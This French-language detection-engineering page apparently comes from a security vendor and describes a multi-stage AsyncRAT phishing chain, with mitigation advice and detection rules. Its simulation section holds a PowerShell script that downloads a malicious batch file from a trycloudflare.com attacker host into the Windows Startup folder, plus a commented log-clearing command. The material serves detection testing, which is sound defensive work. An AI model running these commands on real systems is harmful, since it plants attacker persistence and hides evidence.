Comment MDR a découvert une chaîne d’attaque en plusieurs étapes d’AsyncRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une chaîne d’intrusion en plusieurs étapes initiée par des emails de phishing qui livrent des appâts ZIP à double extension et passent à une séquence de charges utiles hébergées sur WebDAV. Les opérateurs abusent de l’infrastructure gratuite de Cloudflare et des composants Python intégrés pour déployer AsyncRAT sur les points de terminaison victimes. L’exécution et la persistance reposent sur les outils natifs de Windows—Windows Script Host, PowerShell, et scripts batch—tandis que l’étape finale utilise l’injection de code dans explorer.exe. En routant la livraison et la mise en scène à travers des services cloud largement fiables, l’activité se fond dans le trafic normal et peut échapper aux contrôles de périmètre conventionnels.
Investigation
Les enquêteurs de Trend Micro ont signalé une télémétrie cohérente avec un flux de livraison par étapes : récupération d’une archive .pdf.zip depuis Dropbox, exécution de raccourcis .url intégrés, et interaction WebDAV ultérieure attribuée à svchost.exe et rundll32.exe. La chaîne a ensuite déployé des fichiers intégrés Python 3.14.0, utilisés pour exécuter un script Python personnalisé responsable de l’injection APC de shellcode AsyncRAT. La persistance a été réalisée en plaçant des fichiers batch dans le répertoire de démarrage de l’utilisateur. Les analystes ont également identifié et corrélé plusieurs hôtes TryCloudflare soutenant l’infrastructure.
Atténuation
Réduire l’exposition en formant les utilisateurs à considérer les archives à double extension et les pièces jointes ZIP inattendues comme suspectes et en resserrant le filtrage des liens cloud livrés par phishing. Bloquez ou contrôlez strictement l’accès aux services de tunneling cloud non autorisés et surveillez une dépendance anormale sur WebDAV dans les environnements où il est rare. Restreindre l’exécution de scripts à partir de répertoires modifiables par l’utilisateur, et renforcer les contrôles autour de l’utilisation du dossier de démarrage et de la création de tâches planifiées. Priorisez les détections EDR/comportementales capables de révéler les chaînes d’exécution pilotées par script et les techniques d’injection de code ciblant des processus bénins.
Réponse
Si une activité est détectée, isolez le point de terminaison et arrêtez les processus suspects associés à la chaîne (notamment svchost.exe, rundll32.exe, et python.exe liés à l’incident). Supprimez la persistance en supprimant les artefacts batch malveillants du répertoire de démarrage, éradiquer les archives Python téléchargées et tous les composants AsyncRAT, et effectuez un balayage forensique complet pour d’autres fichiers de mise en scène et mouvements latéraux. Mettez à jour les contrôles réseau et les listes de blocage pour inclure les domaines TryCloudflare identifiés et toute infrastructure associée observée pendant le triage.
Flux d’Attaque
Détections
Téléchargement ou téléversement via Powershell (via cmdline)
Voir
LOLBAS WScript / CScript (via création de processus)
Voir
Fichier Python créé dans un répertoire inhabituel (via événement de fichier)
Voir
Communication suspecte avec domaine Trycloudflare (via proxy)
Voir
Une opération manuelle ou de script potentielle a été effectuée dans des dossiers inhabituels (via cmdline)
Voir
Communication suspecte avec domaine Trycloudflare (via DNS)
Voir
IOC (DestinationIP) à détecter : Analyse d’une campagne AsyncRAT à plusieurs étapes via Détection et Réponse Gérée
Voir
IOC (SourceIP) à détecter : Analyse d’une campagne AsyncRAT à plusieurs étapes via Détection et Réponse Gérée
Voir
Commande PowerShell téléchargeant des fichiers Python et batch pour la configuration de l’environnement et la persistance [Windows PowerShell]
Voir
Campagne de phishing utilisant Edge et Cmd pour exécuter un script Python pour l’injection de code [Création de processus Windows]
Voir
Exécution de Simulation
Prérequis : La Vérification Pré-vol de Télémétrie & Baseline doit avoir réussi.
-
Narration de l’attaque & Commandes
Un adversaire qui a obtenu initialement l’accès à PowerShell sur un hôte Windows compromis veut configurer un environnement d’exécution Python et obtenir la persistance. Ils :
- Téléchargent la distribution Python intégrée directement dans le
répertoire Temp local de l'utilisateurà l’aide deInvoke‑WebRequest. - Téléchargent un script batch malveillant (
ahke.bat) depuis un domaine relayé par Cloudflare vers le dossier de démarrage de l’utilisateur pour qu’il s’exécute à chaque ouverture de session. - Exécutent le zip Python téléchargé (omis ici pour la brièveté) pour exécuter d’autres charges utiles.
Ces étapes produisent exactement les chaînes de commande correspondantes à la règle Sigma, générant des journaux de script‑block de PowerShell avec le
iwr … -OutFile …modèle. - Téléchargent la distribution Python intégrée directement dans le
-
Script de Test de Régression
# ------------------------------------------------- # Simulation PowerShell de la configuration de l'environnement AsyncRAT # ------------------------------------------------- # 1. Téléchargez le zip Python intégré dans le dossier temp de l'utilisateur $pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' $pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip" iwr $pythonUrl -OutFile $pythonDest # 2. Téléchargez le fichier batch malveillant dans le dossier de démarrage pour la persistance $batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat' $batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" iwr $batUrl -OutFile $batDest # 3. (Optionnel) Déclenchez l'exécution du batch pour démontrer la persistance # Start-Process -FilePath $batDest -WindowStyle Hidden # ------------------------------------------------- -
Commandes de Nettoyage
# Supprimez les artefacts téléchargés Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue # Optionnellement, nettoyez les journaux de script block PowerShell (nécessite admin) # Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"